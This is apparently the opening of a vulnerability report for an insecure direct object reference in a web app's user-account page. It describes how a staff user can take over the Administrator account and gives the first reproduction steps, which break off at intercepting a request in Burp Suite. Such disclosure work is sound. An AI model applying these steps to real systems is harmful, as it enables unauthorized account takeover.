  *Insecure direct object references (IDOR)*
  Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system.
  
  *Attack Vector*
  An attacker can takeover the Administrator's account
  
  *Steps of reproduce:*
  Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'.
  
  =====================================================================================================================================
  
  Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account'
  
  http://localhost/hprms/admin/?page=user
  
  =====================================================================================================================================
  
  Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite:
